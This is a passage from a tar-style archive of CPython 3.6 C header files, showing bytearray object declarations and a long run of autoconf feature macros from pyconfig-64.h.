{ #endif PyAPI_FUNC(PyObject *) PyEval_EvalCode(PyObject *, PyObject *, PyObject *); PyAPI_FUNC(PyObject *) PyEval_EvalCodeEx(PyObject *co, PyObject *globals, PyObject *locals, PyObject **args, int argc, PyObject **kwds, int kwdc, PyObject **defs, int defc, PyObject *kwdefs, PyObject *closure); #ifndef Py_LIMITED_API PyAPI_FUNC(PyObject *) _PyEval_CallTracing(PyObject *func, PyObject *args); #endif #ifdef __cplusplus } #endif #endif /* !Py_EVAL_H */ python3.6m/bytearrayobject.h 0000644 00000004102 15246445047 0012043 0 ustar 00 /* ByteArray object interface */ #ifndef Py_BYTEARRAYOBJECT_H #define Py_BYTEARRAYOBJECT_H #ifdef __cplusplus extern "C" { #endif #include <stdarg.h> /* Type PyByteArrayObject represents a mutable array of bytes. * The Python API is that of a sequence; * the bytes are mapped to ints in [0, 256). * Bytes are not characters; they may be used to encode characters. * The only way to go between bytes and str/unicode is via encoding * and decoding. * For the convenience of C programmers, the bytes type is considered * to contain a char pointer, not an unsigned char pointer. */ /* Object layout */ #ifndef Py_LIMITED_API typedef struct { PyObject_VAR_HEAD Py_ssize_t ob_alloc; /* How many bytes allocated in ob_bytes */ char *ob_bytes; /* Physical backing buffer */ char *ob_start; /* Logical start inside ob_bytes */ /* XXX(nnorwitz): should ob_exports be Py_ssize_t? */ int ob_exports; /* How many buffer exports */ } PyByteArrayObject; #endif /* Type object */ PyAPI_DATA(PyTypeObject) PyByteArray_Type; PyAPI_DATA(PyTypeObject) PyByteArrayIter_Type; /* Type check macros */ #define PyByteArray_Check(self) PyObject_TypeCheck(self, &PyByteArray_Type) #define PyByteArray_CheckExact(self) (Py_TYPE(self) == &PyByteArray_Type) /* Direct API functions */ PyAPI_FUNC(PyObject *) PyByteArray_FromObject(PyObject *); PyAPI_FUNC(PyObject *) PyByteArray_Concat(PyObject *, PyObject *); PyAPI_FUNC(PyObject *) PyByteArray_FromStringAndSize(const char *, Py_ssize_t); PyAPI_FUNC(Py_ssize_t) PyByteArray_Size(PyObject *); PyAPI_FUNC(char *) PyByteArray_AsString(PyObject *); PyAPI_FUNC(int) PyByteArray_Resize(PyObject *, Py_ssize_t); /* Macros, trading safety for speed */ #ifndef Py_LIMITED_API #define PyByteArray_AS_STRING(self) \ (assert(PyByteArray_Check(self)), \ Py_SIZE(self) ? ((PyByteArrayObject *)(self))->ob_start : _PyByteArray_empty_string) #define PyByteArray_GET_SIZE(self) (assert(PyByteArray_Check(self)), Py_SIZE(self)) PyAPI_DATA(char) _PyByteArray_empty_string[]; #endif #ifdef __cplusplus } #endif #endif /* !Py_BYTEARRAYOBJECT_H */ python3.6m/pyconfig-64.h 0000644 00000127116 15246445047 0010732 0 ustar 00 /* pyconfig.h. Generated from pyconfig.h.in by configure. */ /* pyconfig.h.in. Generated from configure.ac by autoheader. */ #ifndef Py_PYCONFIG_H #define Py_PYCONFIG_H /* Define if building universal (internal helper macro) */ /* #undef AC_APPLE_UNIVERSAL_BUILD */ /* Define for AIX if your compiler is a genuine IBM xlC/xlC_r and you want support for AIX C++ shared extension modules. */ /* #undef AIX_GENUINE_CPLUSPLUS */ /* The Android API level. */ /* #undef ANDROID_API_LEVEL */ /* Define if C doubles are 64-bit IEEE 754 binary format, stored in ARM mixed-endian order (byte order 45670123) */ /* #undef DOUBLE_IS_ARM_MIXED_ENDIAN_IEEE754 */ /* Define if C doubles are 64-bit IEEE 754 binary format, stored with the most significant byte first */ /* #undef DOUBLE_IS_BIG_ENDIAN_IEEE754 */ /* Define if C doubles are 64-bit IEEE 754 binary format, stored with the least significant byte first */ #define DOUBLE_IS_LITTLE_ENDIAN_IEEE754 1 /* Define if --enable-ipv6 is specified */ #define ENABLE_IPV6 1 /* Define if flock needs to be linked with bsd library. */ /* #undef FLOCK_NEEDS_LIBBSD */ /* Define if getpgrp() must be called as getpgrp(0). */ /* #undef GETPGRP_HAVE_ARG */ /* Define if gettimeofday() does not have second (timezone) argument This is the case on Motorola V4 (R40V4.2) */ /* #undef GETTIMEOFDAY_NO_TZ */ /* Define to 1 if you have the `accept4' function. */ #define HAVE_ACCEPT4 1 /* Define to 1 if you have the `acosh' function. */ #define HAVE_ACOSH 1 /* struct addrinfo (netdb.h) */ #define HAVE_ADDRINFO 1 /* Define to 1 if you have the `alarm' function. */ #define HAVE_ALARM 1 /* Define if aligned memory access is required */ /* #undef HAVE_ALIGNED_REQUIRED */ /* Define to 1 if you have the <alloca.h> header file. */ #define HAVE_ALLOCA_H 1 /* Define this if your time.h defines altzone. */ /* #undef HAVE_ALTZONE */ /* Define to 1 if you have the `asinh' function. */ #define HAVE_ASINH 1 /* Define to 1 if you have the <asm/types.h> header file. */ #define HAVE_ASM_TYPES_H 1 /* Define to 1 if you have the `atanh' function. */ #define HAVE_ATANH 1 /* Define to 1 if you have the `bind_textdomain_codeset' function. */ #define HAVE_BIND_TEXTDOMAIN_CODESET 1 /* Define to 1 if you have the <bluetooth/bluetooth.h> header file. */ #define HAVE_BLUETOOTH_BLUETOOTH_H 1 /* Define to 1 if you have the <bluetooth.h> header file. */ /* #undef HAVE_BLUETOOTH_H */ /* Define if mbstowcs(NULL, "text", 0) does not return the number of wide chars that would be converted. */ /* #undef HAVE_BROKEN_MBSTOWCS */ /* Define if nice() returns success/failure instead of the new priority. */ /* #undef HAVE_BROKEN_NICE */ /* Define if the system reports an invalid PIPE_BUF value. */ /* #undef HAVE_BROKEN_PIPE_BUF */ /* Define if poll() sets errno on invalid file descriptors. */ /* #undef HAVE_BROKEN_POLL */ /* Define if the Posix semaphores do not work on your system */ /* #undef HAVE_BROKEN_POSIX_SEMAPHORES */ /* Define if pthread_sigmask() does not work on your system. */ /* #undef HAVE_BROKEN_PTHREAD_SIGMASK */ /* define to 1 if your sem_getvalue is broken. */ /* #undef HAVE_BROKEN_SEM_GETVALUE */ /* Define if `unsetenv` does not return an int. */ /* #undef HAVE_BROKEN_UNSETENV */ /* Has builtin atomics */ #define HAVE_BUILTIN_ATOMIC 1 /* Define to 1 if you have the 'chflags' function. */ /* #undef HAVE_CHFLAGS */ /* Define to 1 if you have the `chown' function. */ #define HAVE_CHOWN 1 /* Define if you have the 'chroot' function. */ #define HAVE_CHROOT 1 /* Define to 1 if you have the `clock' function. */ #define HAVE_CLOCK 1 /* Define to 1 if you have the `clock_getres' function. */ #define HAVE_CLOCK_GETRES 1 /* Define to 1 if you have the `clock_gettime' function. */ #define HAVE_CLOCK_GETTIME 1 /* Define to 1 if you have the `clock_settime' function. */ #define HAVE_CLOCK_SETTIME 1 /* Define if the C compiler supports computed gotos. */ #define HAVE_COMPUTED_GOTOS 1 /* Define to 1 if you have the `confstr' function. */ #define HAVE_CONFSTR 1 /* Define to 1 if you have the <conio.h> header file. */ /* #undef HAVE_CONIO_H */ /* Define to 1 if you have the `copysign' function. */ #define HAVE_COPYSIGN 1 /* Define to 1 if you have the <crypt.h> header file. */ #define HAVE_CRYPT_H 1 /* Define to 1 if you have the `ctermid' function. */ #define HAVE_CTERMID 1 /* Define if you have the 'ctermid_r' function. */ /* #undef HAVE_CTERMID_R */ /* Define if you have the 'filter' function. */ #define HAVE_CURSES_FILTER 1 /* Define to 1 if you have the <curses.h> header file. */ #define HAVE_CURSES_H 1 /* Define if you have the 'has_key' function. */ #define HAVE_CURSES_HAS_KEY 1 /* Define if you have the 'immedok' function. */ #define HAVE_CURSES_IMMEDOK 1 /* Define if you have the 'is_pad' function or macro. */ #define HAVE_CURSES_IS_PAD 1 /* Define if you have the 'is_term_resized' function. */ #define HAVE_CURSES_IS_TERM_RESIZED 1 /* Define if you have the 'resizeterm' function. */ #define HAVE_CURSES_RESIZETERM 1 /* Define if you have the 'resize_term' function. */ #define HAVE_CURSES_RESIZE_TERM 1 /* Define if you have the 'syncok' function. */ #define HAVE_CURSES_SYNCOK 1 /* Define if you have the 'typeahead' function. */ #define HAVE_CURSES_TYPEAHEAD 1 /* Define if you have the 'use_env' function. */ #define HAVE_CURSES_USE_ENV 1 /* Define if you have the 'wchgat' function. */ #define HAVE_CURSES_WCHGAT 1 /* Define to 1 if you have the declaration of `isfinite', and to 0 if you don't. */ #define HAVE_DECL_ISFINITE 1 /* Define to 1 if you have the declaration of `isinf', and to 0 if you don't. */ #define HAVE_DECL_ISINF 1 /* Define to 1 if you have the declaration of `isnan', and to 0 if you don't. */ #define HAVE_DECL_ISNAN 1 /* Define to 1 if you have the declaration of `RTLD_DEEPBIND', and to 0 if you don't. */ #define HAVE_DECL_RTLD_DEEPBIND 1 /* Define to 1 if you have the declaration of `RTLD_GLOBAL', and to 0 if you don't. */ #define HAVE_DECL_RTLD_GLOBAL 1 /* Define to 1 if you have the declaration of `RTLD_LAZY', and to 0 if you don't. */ #define HAVE_DECL_RTLD_LAZY 1 /* Define to 1 if you have the declaration of `RTLD_LOCAL', and to 0 if you don't. */ #define HAVE_DECL_RTLD_LOCAL 1 /* Define to 1 if you have the declaration of `RTLD_NODELETE', and to 0 if you don't. */ #define HAVE_DECL_RTLD_NODELETE 1 /* Define to 1 if you have the declaration of `RTLD_NOLOAD', and to 0 if you don't. */ #define HAVE_DECL_RTLD_NOLOAD 1 /* Define to 1 if you have the declaration of `RTLD_NOW', and to 0 if you don't. */ #define HAVE_DECL_RTLD_NOW 1 /* Define to 1 if you have the declaration of `tzname', and to 0 if you don't. */ /* #undef HAVE_DECL_TZNAME */ /* Define to 1 if you have the device macros. */ #define HAVE_DEVICE_MACROS 1 /* Define to 1 if you have the /dev/ptc device file. */ /* #undef HAVE_DEV_PTC */ /* Define to 1 if you have the /dev/ptmx device file. */ #define HAVE_DEV_PTMX 1 /* Define to 1 if you have the <direct.h> header file. */ /* #undef HAVE_DIRECT_H */ /* Define to 1 if the dirent structure has a d_type field */ #define HAVE_DIRENT_D_TYPE 1 /* Define to 1 if you have the <dirent.h> header file, and it defines `DIR'. */ #define HAVE_DIRENT_H 1 /* Define if you have the 'dirfd' function or macro. */ #define HAVE_DIRFD 1 /* Define to 1 if you have the <dlfcn.h> header file. */ #define HAVE_DLFCN_H 1 /* Define to 1 if you have the `dlopen' function. */ #define HAVE_DLOPEN 1 /* Define to 1 if you have the `dup2' function. */ #define HAVE_DUP2 1 /* Define to 1 if you have the `dup3' function. */ #define HAVE_DUP3 1 /* Defined when any dynamic module loading is enabled. */ #define HAVE_DYNAMIC_LOADING 1 /* Define to 1 if you have the <endian.h> header file. */ #define HAVE_ENDIAN_H 1 /* Define if you have the 'epoll' functions. */ #define HAVE_EPOLL 1 /* Define if you have the 'epoll_create1' function. */ #define HAVE_EPOLL_CREATE1 1 /* Define to 1 if you have the `erf' function. */ #define HAVE_ERF 1 /* Define to 1 if you have the `erfc' function. */ #define HAVE_ERFC 1 /* Define to 1 if you have the <errno.h> header file. */ #define HAVE_ERRNO_H 1 /* Define to 1 if you have the `execv' function. */ #define HAVE_EXECV 1 /* Define to 1 if you have the `expm1' function. */ #define HAVE_EXPM1 1 /* Define to 1 if you have the `faccessat' function. */ #define HAVE_FACCESSAT 1 /* Define if you have the 'fchdir' function. */ #define HAVE_FCHDIR 1 /* Define to 1 if you have the `fchmod' function. */ #define HAVE_FCHMOD 1 /* Define to 1 if you have the `fchmodat' function. */ #define HAVE_FCHMODAT 1 /* Define to 1 if you have the `fchown' function. */ #define HAVE_FCHOWN 1 /* Define to 1 if you have the `fchownat' function. */ #define HAVE_FCHOWNAT 1 /* Define to 1 if you have the <fcntl.h> header file. */ #define HAVE_FCNTL_H 1 /* Define if you have the 'fdatasync' function. */ #define HAVE_FDATASYNC 1 /* Define to 1 if you have the `fdopendir' function. */ #define HAVE_FDOPENDIR 1 /* Define to 1 if you have the `fexecve' function. */ #define HAVE_FEXECVE 1 /* Define to 1 if you have the `finite' function. */ #define HAVE_FINITE 1 /* Define to 1 if you have the `flock' function. */ #define HAVE_FLOCK 1 /* Define to 1 if you have the `fork' function. */ #define HAVE_FORK 1 /* Define to 1 if you have the `forkpty' function. */ #define HAVE_FORKPTY 1 /* Define to 1 if you have the `fpathconf' function. */ #define HAVE_FPATHCONF 1 /* Define to 1 if you have the `fseek64' function. */ /* #undef HAVE_FSEEK64 */ /* Define to 1 if you have the `fseeko' function. */ #define HAVE_FSEEKO 1 /* Define to 1 if you have the `fstatat' function. */ #define HAVE_FSTATAT 1 /* Define to 1 if you have the `fstatvfs' function. */ #define HAVE_FSTATVFS 1 /* Define if you have the 'fsync' function. */ #define HAVE_FSYNC 1 /* Define to 1 if you have the `ftell64' function. */ /* #undef HAVE_FTELL64 */ /* Define to 1 if you have the `ftello' function. */ #define HAVE_FTELLO 1 /* Define to 1 if you have the `ftime' function. */ #define HAVE_FTIME 1 /* Define to 1 if you have the `ftruncate' function. */ #define HAVE_FTRUNCATE 1 /* Define to 1 if you have the `futimens' function. */ #define HAVE_FUTIMENS 1 /* Define to 1 if you have the `futimes' function. */ #define HAVE_FUTIMES 1 /* Define to 1 if you have the `futimesat' function. */ #define HAVE_FUTIMESAT 1 /* Define to 1 if you have the `gai_strerror' function. */ #define HAVE_GAI_STRERROR 1 /* Define to 1 if you have the `gamma' function. */ #define HAVE_GAMMA 1 /* Define if we can use gcc inline assembler to get and set mc68881 fpcr */ /* #undef HAVE_GCC_ASM_FOR_MC68881 */ /* Define if we can use x64 gcc inline assembler */ #define HAVE_GCC_ASM_FOR_X64 1 /* Define if we can use gcc inline assembler to get and set x87 control word */ #define HAVE_GCC_ASM_FOR_X87 1 /* Define if your compiler provides __uint128_t */ #define HAVE_GCC_UINT128_T 1 /* Define if you have the getaddrinfo function. */ #define HAVE_GETADDRINFO 1 /* Define this if you have flockfile(), getc_unlocked(), and funlockfile() */ #define HAVE_GETC_UNLOCKED 1 /* Define to 1 if you have the `getentropy' function. */ #define HAVE_GETENTROPY 1 /* Define to 1 if you have the `getgrouplist' function. */ #define HAVE_GETGROUPLIST 1 /* Define to 1 if you have the `getgroups' function. */ #define HAVE_GETGROUPS 1 /* Define to 1 if you have the `gethostbyname' function. */ /* #undef HAVE_GETHOSTBYNAME */ /* Define this if you have some version of gethostbyname_r() */ #define HAVE_GETHOSTBYNAME_R 1 /* Define this if you have the 3-arg version of gethostbyname_r(). */ /* #undef HAVE_GETHOSTBYNAME_R_3_ARG */ /* Define this if you have the 5-arg version of gethostbyname_r(). */ /* #undef HAVE_GETHOSTBYNAME_R_5_ARG */ /* Define this if you have the 6-arg version of gethostbyname_r(). */ #define HAVE_GETHOSTBYNAME_R_6_ARG 1 /* Define to 1 if you have the `getitimer' function. */ #define HAVE_GETITIMER 1 /* Define to 1 if you have the `getloadavg' function. */ #define HAVE_GETLOADAVG 1 /* Define to 1 if you have the `getlogin' function. */ #define HAVE_GETLOGIN 1 /* Define to 1 if you have the `getnameinfo' function. */ #define HAVE_GETNAMEINFO 1 /* Define if you have the 'getpagesize' function. */ #define HAVE_GETPAGESIZE 1 /* Define to 1 if you have the `getpeername' function. */ #define HAVE_GETPEERNAME 1 /* Define to 1 if you have the `getpgid' function. */ #define HAVE_GETPGID 1 /* Define to 1 if you have the `getpgrp' function. */ #define HAVE_GETPGRP 1 /* Define to 1 if you have the `getpid' function. */ #define HAVE_GETPID 1 /* Define to 1 if you have the `getpriority' function. */ #define HAVE_GETPRIORITY 1 /* Define to 1 if you have the `getpwent' function. */ #define HAVE_GETPWENT 1 /* Define to 1 if the getrandom() function is available */ #define HAVE_GETRANDOM 1 /* Define to 1 if the Linux getrandom() syscall is available */ #define HAVE_GETRANDOM_SYSCALL 1 /* Define to 1 if you have the `getresgid' function. */ #define HAVE_GETRESGID 1 /* Define to 1 if you have the `getresuid' function. */ #define HAVE_GETRESUID 1 /* Define to 1 if you have the `getsid' function. */ #define HAVE_GETSID 1 /* Define to 1 if you have the `getspent' function. */ #define HAVE_GETSPENT 1 /* Define to 1 if you have the `getspnam' function. */ #define HAVE_GETSPNAM 1 /* Define to 1 if you have the `gettimeofday' function. */ #define HAVE_GETTIMEOFDAY 1 /* Define to 1 if you have the `getwd' function. */ #define HAVE_GETWD 1 /* Define if glibc has incorrect _FORTIFY_SOURCE wrappers for memmove and bcopy. */ /* #undef HAVE_GLIBC_MEMMOVE_BUG */ /* Define to 1 if you have the <grp.h> header file. */ #define HAVE_GRP_H 1 /* Define if you have the 'hstrerror' function. */ #define HAVE_HSTRERROR 1 /* Define this if you have le64toh() */ #define HAVE_HTOLE64 1 /* Define to 1 if you have the `hypot' function. */ #define HAVE_HYPOT 1 /* Define to 1 if you have the <ieeefp.h> header file. */ /* #undef HAVE_IEEEFP_H */ /* Define to 1 if you have the 'if_nameindex' function. */ #define HAVE_IF_NAMEINDEX 1 /* Define if you have the 'inet_aton' function. */ #define HAVE_INET_ATON 1 /* Define if you have the 'inet_pton' function. */ #define HAVE_INET_PTON 1 /* Define to 1 if you have the `initgroups' function. */ #define HAVE_INITGROUPS 1 /* Define to 1 if you have the <inttypes.h> header file. */ #define HAVE_INTTYPES_H 1 /* Define to 1 if you have the <io.h> header file. */ /* #undef HAVE_IO_H */ /* Define if gcc has the ipa-pure-const bug. */ /* #undef HAVE_IPA_PURE_CONST_BUG */ /* Define to 1 if you have the `kill' function. */ #define HAVE_KILL 1 /* Define to 1 if you have the `killpg' function. */ #define HAVE_KILLPG 1 /* Define if you have the 'kqueue' functions. */ /* #undef HAVE_KQUEUE */ /* Define to 1 if you have the <langinfo.h> header file. */ #define HAVE_LANGINFO_H 1 /* Defined to enable large file support when an off_t is bigger than a long and long long is available and at least as big as an off_t. You may need to add some flags for configuration and compilation to enable this mode. (For Solaris and Linux, the necessary defines are already defined.) */ /* #undef HAVE_LARGEFILE_SUPPORT */ /* Define to 1 if you have the 'lchflags' function. */ /* #undef HAVE_LCHFLAGS */ /* Define to 1 if you have the `lchmod' function. */ /* #undef HAVE_LCHMOD */ /* Define to 1 if you have the `lchown' function. */ #define HAVE_LCHOWN 1 /* Define to 1 if you have the `lgamma' function. */ #define HAVE_LGAMMA 1 /* Define to 1 if you have the `dl' library (-ldl). */ #define HAVE_LIBDL 1 /* Define to 1 if you have the `dld' library (-ldld). */ /* #undef HAVE_LIBDLD */ /* Define to 1 if you have the `ieee' library (-lieee). */ /* #undef HAVE_LIBIEEE */ /* Define to 1 if you have the <libintl.h> header file. */ #define HAVE_LIBINTL_H 1 /* Define if you have the readline library (-lreadline). */ #define HAVE_LIBREADLINE 1 /* Define to 1 if you have the `resolv' library (-lresolv). */ /* #undef HAVE_LIBRESOLV */ /* Define to 1 if you have the `sendfile' library (-lsendfile). */ /* #undef HAVE_LIBSENDFILE */ /* Define to 1 if you have the <libutil.h> header file. */ /* #undef HAVE_LIBUTIL_H */ /* Define if you have the 'link' function. */ #define HAVE_LINK 1 /* Define to 1 if you have the `linkat' function. */ #define HAVE_LINKAT 1 /* Define to 1 if you have the <linux/can/bcm.h> header file. */ #define HAVE_LINUX_CAN_BCM_H 1 /* Define to 1 if you have the <linux/can.h> header file. */ #define HAVE_LINUX_CAN_H 1 /* Define if compiling using Linux 3.6 or later. */ #define HAVE_LINUX_CAN_RAW_FD_FRAMES 1 /* Define to 1 if you have the <linux/can/raw.h> header file. */ #define HAVE_LINUX_CAN_RAW_H 1 /* Define to 1 if you have the <linux/netlink.h> header file. */ #define HAVE_LINUX_NETLINK_H 1 /* Define to 1 if you have the <linux/random.h> header file. */ #define HAVE_LINUX_RANDOM_H 1 /* Define to 1 if you have the <linux/tipc.h> header file. */ #define HAVE_LINUX_TIPC_H 1 /* Define to 1 if you have the 'lockf' function and the F_LOCK macro. */ #define HAVE_LOCKF 1 /* Define to 1 if you have the `log1p' function. */ #define HAVE_LOG1P 1 /* Define to 1 if you have the `log2' function. */ #define HAVE_LOG2 1 /* Define this if you have the type long double. */ #define HAVE_LONG_DOUBLE 1 /* Define to 1 if you have the `lstat' function. */ #define HAVE_LSTAT 1 /* Define to 1 if you have the `lutimes' function. */ #define HAVE_LUTIMES 1 /* Define this if you have the makedev macro. */ #define HAVE_MAKEDEV 1 /* Define to 1 if you have the `mbrtowc' function. */ #define HAVE_MBRTOWC 1 /* Define to 1 if you have the `memmove' function. */ #define HAVE_MEMMOVE 1 /* Define to 1 if you have the <memory.h> header file. */ #define HAVE_MEMORY_H 1 /* Define to 1 if you have the `memrchr' function. */ #define HAVE_MEMRCHR 1 /* Define to 1 if you have the `mkdirat' function. */ #define HAVE_MKDIRAT 1 /* Define to 1 if you have the `mkfifo' function. */ #define HAVE_MKFIFO 1 /* Define to 1 if you have the `mkfifoat' function. */ #define HAVE_MKFIFOAT 1 /* Define to 1 if you have the `mknod' function. */ #define HAVE_MKNOD 1 /* Define to 1 if you have the `mknodat' function. */ #define HAVE_MKNODAT 1 /* Define to 1 if you have the `mktime' function. */ #define HAVE_MKTIME 1 /* Define to 1 if you have the `mmap' function. */ #define HAVE_MMAP 1 /* Define to 1 if you have the `mremap' function. */ #define HAVE_MREMAP 1 /* Define to 1 if you have the <ncurses.h> header file. */ #define HAVE_NCURSES_H 1 /* Define to 1 if you have the <ndir.h> header file, and it defines `DIR'. */ /* #undef HAVE_NDIR_H */ /* Define to 1 if you have the <netpacket/packet.h> header file. */ #define HAVE_NETPACKET_PACKET_H 1 /* Define to 1 if you have the <net/if.h> header file. */ #define HAVE_NET_IF_H 1 /* Define to 1 if you have the `nice' function. */ #define HAVE_NICE 1 /* Define to 1 if you have the `openat' function. */ #define HAVE_OPENAT 1 /* Define to 1 if you have the `openpty' function. */ #define HAVE_OPENPTY 1 /* Define to 1 if you have the `pathconf' function. */ #define HAVE_PATHCONF 1 /* Define to 1 if you have the `pause' function. */ #define HAVE_PAUSE 1 /* Define to 1 if you have the `pipe2' function. */ #define HAVE_PIPE2 1 /* Define to 1 if you have the `plock' function. */ /* #undef HAVE_PLOCK */ /* Define to 1 if you have the `poll' function. */ #define HAVE_POLL 1 /* Define to 1 if you have the <poll.h> header file. */ #define HAVE_POLL_H 1 /* Define to 1 if you have the `posix_fadvise' function. */ #define HAVE_POSIX_FADVISE 1 /* Define to 1 if you have the `posix_fallocate' function. */ #define HAVE_POSIX_FALLOCATE 1 /* Define to 1 if you have the `pread' function. */ #define HAVE_PREAD 1 /* Define if you have the 'prlimit' functions. */ #define HAVE_PRLIMIT 1 /* Define to 1 if you have the <process.h> header file. */ /* #undef HAVE_PROCESS_H */ /* Define if your compiler supports function prototype */ #define HAVE_PROTOTYPES 1 /* Define to 1 if you have the `pthread_atfork' function. */ #define HAVE_PTHREAD_ATFORK 1 /* Define to 1 if you have the `pthread_condattr_setclock' function. */ #define HAVE_PTHREAD_CONDATTR_SETCLOCK 1 /* Defined for Solaris 2.6 bug in pthread header. */ /* #undef HAVE_PTHREAD_DESTRUCTOR */ /* Define to 1 if you have the <pthread.h> header file. */ #define HAVE_PTHREAD_H 1 /* Define to 1 if you have the `pthread_init' function. */ /* #undef HAVE_PTHREAD_INIT */ /* Define to 1 if you have the `pthread_kill' function. */ #define HAVE_PTHREAD_KILL 1 /* Define to 1 if you have the `pthread_sigmask' function. */ #define HAVE_PTHREAD_SIGMASK 1 /* Define to 1 if you have the <pty.h> header file. */ #define HAVE_PTY_H 1 /* Define to 1 if you have the `putenv' function. */ #define HAVE_PUTENV 1 /* Define to 1 if you have the `pwrite' function. */ #define HAVE_PWRITE 1 /* Define to 1 if you have the `readlink' function. */ #define HAVE_READLINK 1 /* Define to 1 if you have the `readlinkat' function. */ #define HAVE_READLINKAT 1 /* Define to 1 if you have the `readv' function. */ #define HAVE_READV 1 /* Define to 1 if you have the `realpath' function. */ #define HAVE_REALPATH 1 /* Define to 1 if you have the `renameat' function. */ #define HAVE_RENAMEAT 1 /* Define if readline supports append_history */ #define HAVE_RL_APPEND_HISTORY 1 /* Define if you have readline 2.1 */ #define HAVE_RL_CALLBACK 1 /* Define if you can turn off readline's signal handling. */ #define HAVE_RL_CATCH_SIGNAL 1 /* Define if you have readline 2.2 */ #define HAVE_RL_COMPLETION_APPEND_CHARACTER 1 /* Define if you have readline 4.0 */ #define HAVE_RL_COMPLETION_DISPLAY_MATCHES_HOOK 1 /* Define if you have readline 4.2 */ #define HAVE_RL_COMPLETION_MATCHES 1 /* Define if you have rl_completion_suppress_append */ #define HAVE_RL_COMPLETION_SUPPRESS_APPEND 1 /* Define if you have readline 4.0 */ #define HAVE_RL_PRE_INPUT_HOOK 1 /* Define if you have readline 4.0 */ #define HAVE_RL_RESIZE_TERMINAL 1 /* Define to 1 if you have the `round' function. */ #define HAVE_ROUND 1 /* Define to 1 if you have the `sched_get_priority_max' function. */ #define HAVE_SCHED_GET_PRIORITY_MAX 1 /* Define to 1 if you have the <sched.h> header file. */ #define HAVE_SCHED_H 1 /* Define to 1 if you have the `sched_rr_get_interval' function. */ #define HAVE_SCHED_RR_GET_INTERVAL 1 /* Define to 1 if you have the `sched_setaffinity' function. */ #define HAVE_SCHED_SETAFFINITY 1 /* Define to 1 if you have the `sched_setparam' function. */ #define HAVE_SCHED_SETPARAM 1 /* Define to 1 if you have the `sched_setscheduler' function. */ #define HAVE_SCHED_SETSCHEDULER 1 /* Define to 1 if you have the `select' function. */ #define HAVE_SELECT 1 /* Define to 1 if you have the `sem_getvalue' function. */ #define HAVE_SEM_GETVALUE 1 /* Define to 1 if you have the `sem_open' function. */ #define HAVE_SEM_OPEN 1 /* Define to 1 if you have the `sem_timedwait' function. */ #define HAVE_SEM_TIMEDWAIT 1 /* Define to 1 if you have the `sem_unlink' function. */ #define HAVE_SEM_UNLINK 1 /* Define to 1 if you have the `sendfile' function. */ #define HAVE_SENDFILE 1 /* Define to 1 if you have the `setegid' function. */ #define HAVE_SETEGID 1 /* Define to 1 if you have the `seteuid' function. */ #define HAVE_SETEUID 1 /* Define to 1 if you have the `setgid' function. */ #define HAVE_SETGID 1 /* Define if you have the 'setgroups' function. */ #define HAVE_SETGROUPS 1 /* Define to 1 if you have the `sethostname' function. */ #define HAVE_SETHOSTNAME 1 /* Define to 1 if you have the `setitimer' function. */ #define HAVE_SETITIMER 1 /* Define to 1 if you have the `setlocale' function. */ #define HAVE_SETLOCALE 1 /* Define to 1 if you have the `setpgid' function. */ #define HAVE_SETPGID 1 /* Define to 1 if you have the `setpgrp' function. */ #define HAVE_SETPGRP 1 /* Define to 1 if you have the `setpriority' function. */ #define HAVE_SETPRIORITY 1 /* Define to 1 if you have the `setregid' function. */ #define HAVE_SETREGID 1 /* Define to 1 if you have the `setresgid' function. */ #define HAVE_SETRESGID 1 /* Define to 1 if you have the `setresuid' function. */ #define HAVE_SETRESUID 1 /* Define to 1 if you have the `setreuid' function. */ #define HAVE_SETREUID 1 /* Define to 1 if you have the `setsid' function. */ #define HAVE_SETSID 1 /* Define to 1 if you have the `setuid' function. */ #define HAVE_SETUID 1 /* Define to 1 if you have the `setvbuf' function. */ #define HAVE_SETVBUF 1 /* Define to 1 if you have the <shadow.h> header file. */ #define HAVE_SHADOW_H 1 /* Define to 1 if you have the `sigaction' function. */ #define HAVE_SIGACTION 1 /* Define to 1 if you have the `sigaltstack' function. */ #define HAVE_SIGALTSTACK 1 /* Define to 1 if you have the `siginterrupt' function. */ #define HAVE_SIGINTERRUPT 1 /* Define to 1 if you have the <signal.h> header file. */ #define HAVE_SIGNAL_H 1 /* Define to 1 if you have the `sigpending' function. */ #define HAVE_SIGPENDING 1 /* Define to 1 if you have the `sigrelse' function. */ #define HAVE_SIGRELSE 1 /* Define to 1 if you have the `sigtimedwait' function. */ #define HAVE_SIGTIMEDWAIT 1 /* Define to 1 if you have the `sigwait' function. */ #define HAVE_SIGWAIT 1 /* Define to 1 if you have the `sigwaitinfo' function. */ #define HAVE_SIGWAITINFO 1 /* Define to 1 if you have the `snprintf' function. */ #define HAVE_SNPRINTF 1 /* struct sockaddr_alg (linux/if_alg.h) */ #define HAVE_SOCKADDR_ALG 1 /* Define if sockaddr has sa_len member */ /* #undef HAVE_SOCKADDR_SA_LEN */ /* struct sockaddr_storage (sys/socket.h) */ #define HAVE_SOCKADDR_STORAGE 1 /* Define if you have the 'socketpair' function. */ #define HAVE_SOCKETPAIR 1 /* Define to 1 if you have the <spawn.h> header file. */ #define HAVE_SPAWN_H 1 /* Define if your compiler provides ssize_t */ #define HAVE_SSIZE_T 1 /* Define to 1 if you have the `statvfs' function. */ #define HAVE_STATVFS 1 /* Define if you have struct stat.st_mtim.tv_nsec */ #define HAVE_STAT_TV_NSEC 1 /* Define if you have struct stat.st_mtimensec */ /* #undef HAVE_STAT_TV_NSEC2 */ /* Define if your compiler supports variable length function prototypes (e.g. void fprintf(FILE *, char *, ...);) *and* <stdarg.h> */ #define HAVE_STDARG_PROTOTYPES 1 /* Define to 1 if you have the <stdint.h> header file. */ #define HAVE_STDINT_H 1 /* Define to 1 if you have the <stdlib.h> header file. */ #define HAVE_STDLIB_H 1 /* Has stdatomic.h with atomic_int */ #define HAVE_STD_ATOMIC 1 /* Define to 1 if you have the `strdup' function. */ #define HAVE_STRDUP 1 /* Define to 1 if you have the `strftime' function. */ #define HAVE_STRFTIME 1 /* Define to 1 if you have the <strings.h> header file. */ #define HAVE_STRINGS_H 1 /* Define to 1 if you have the <string.h> header file. */ #define HAVE_STRING_H 1 /* Define to 1 if you have the `strlcpy' function. */ /* #undef HAVE_STRLCPY */ /* Define to 1 if you have the <stropts.h> header file. */ /* #undef HAVE_STROPTS_H */ /* Define to 1 if `pw_gecos' is a member of `struct passwd'. */ #define HAVE_STRUCT_PASSWD_PW_GECOS 1 /* Define to 1 if `pw_passwd' is a member of `struct passwd'. */ #define HAVE_STRUCT_PASSWD_PW_PASSWD 1 /* Define to 1 if `st_birthtime' is a member of `struct stat'. */ /* #undef HAVE_STRUCT_STAT_ST_BIRTHTIME */ /* Define to 1 if `st_blksize' is a member of `struct stat'. */ 